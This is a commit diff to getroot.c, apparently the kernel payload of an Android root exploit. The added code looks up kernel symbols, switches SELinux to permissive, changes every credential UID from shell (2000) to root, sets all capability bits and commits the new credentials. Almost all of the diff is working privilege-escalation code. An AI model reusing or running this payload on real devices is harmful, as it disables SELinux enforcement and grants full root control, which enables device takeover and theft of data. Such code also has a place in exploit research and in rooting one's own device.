Turn off SELinux and get all capabilities.

Author: yath

getroot.c

@@ -67,8 +67,21 @@ typedef enum {
 } dump_prefix_type_t;
 #endif
 
-#define STRUCT_CRED_SEARCH_N_WORDS 0x30
-#define MATCH_UID 2000 /* shell */
+struct cap {
+    uint32_t caps[2];
+};
+
+struct cred {
+    uint32_t usage;
+    uint32_t uids[8];
+    uint32_t securebits;
+    struct cap caps[4];
+    void *security, *user, *user_ns, *group_info;
+    uint32_t rcu_head;
+};
+
+#define ELEMS(x) (sizeof(x)/sizeof((x)[0]))
+#define SHELL_UID 2000
 
 #define UNUSED __attribute__((unused))
 
@@ -82,37 +95,45 @@ int start(int argc UNUSED, char **argv UNUSED) {
         return 2;
 
     void *(*prepare_creds)() = getsym("prepare_creds");
-    int(*commit_creds)(void *) = getsym("commit_creds");
+    int (*commit_creds)(void *) = getsym("commit_creds");
+    int *selinux_enforcing = getsym("selinux_enforcing");
+    void (*selinux_status_update_setenforce)(uint32_t) = getsym("selinux_status_update_setenforce");
+
+    *selinux_enforcing = 0;
+    selinux_status_update_setenforce(*selinux_enforcing);
+    printk("SELinux set to Permissive.\n");
+
+    struct cred *c = prepare_creds();
+    if (!c)
+        ERR("prepare_creds failed");
 
 #ifdef DEBUG
+    printk("prepare_creds = %p\n", c);
     void *(*print_hex_dump)(const char *level, const char *prefix_str, dump_prefix_type_t prefix_type,
                 int rowsize, int groupsize, const void *buf, size_t len, bool ascii)
             = getsym("print_hex_dump");
+    print_hex_dump("", "", DUMP_PREFIX_ADDRESS, 16, 4, c, sizeof(struct cred), true);
 #endif
 
-    uint32_t *cred = prepare_creds();
-    if (!cred)
-        ERR("prepare_creds failed");
-
-    printk("prepare_creds = %p\n", cred);
-#ifdef DEBUG
-    print_hex_dump("", "", DUMP_PREFIX_OFFSET, 16, 4, cred, 512, true);
-#endif
+    for (unsigned int i = 0; i < ELEMS(c->uids); i++) {
+        if (c->uids[i] != SHELL_UID)
+            ERR("uids[%d] == %d, expected %d", i, c->uids[i], SHELL_UID);
+        c->uids[i] = 0;
+    }
 
-    int n = 0;
-    for (int i = 0; i < STRUCT_CRED_SEARCH_N_WORDS; i++) {
-        if (cred[i] == MATCH_UID) {
-            printk("Set %p (cred[%d]) %d -> 0\n", cred+i, i, MATCH_UID);
-            cred[i] = 0;
-            n++;
-        }
+    for (unsigned int i = 0; i < ELEMS(c->caps); i++) {
+        c->caps[i].caps[0] = c->caps[i].caps[1] = ~0;
     }
-    printk("Patched %d words (should be 8)\n", n);
 
-    /* TODO: selinux context */
+#ifdef DEBUG
+    printk("new creds:\n");
+    print_hex_dump("", "", DUMP_PREFIX_ADDRESS, 16, 4, c, sizeof(struct cred), true);
+#endif
 
-    if (commit_creds(cred))
+    if (commit_creds(c))
         ERR("commit_creds failed");
 
+    printk("Credentials committed, have fun.\n\n");
+
     return 0;
 }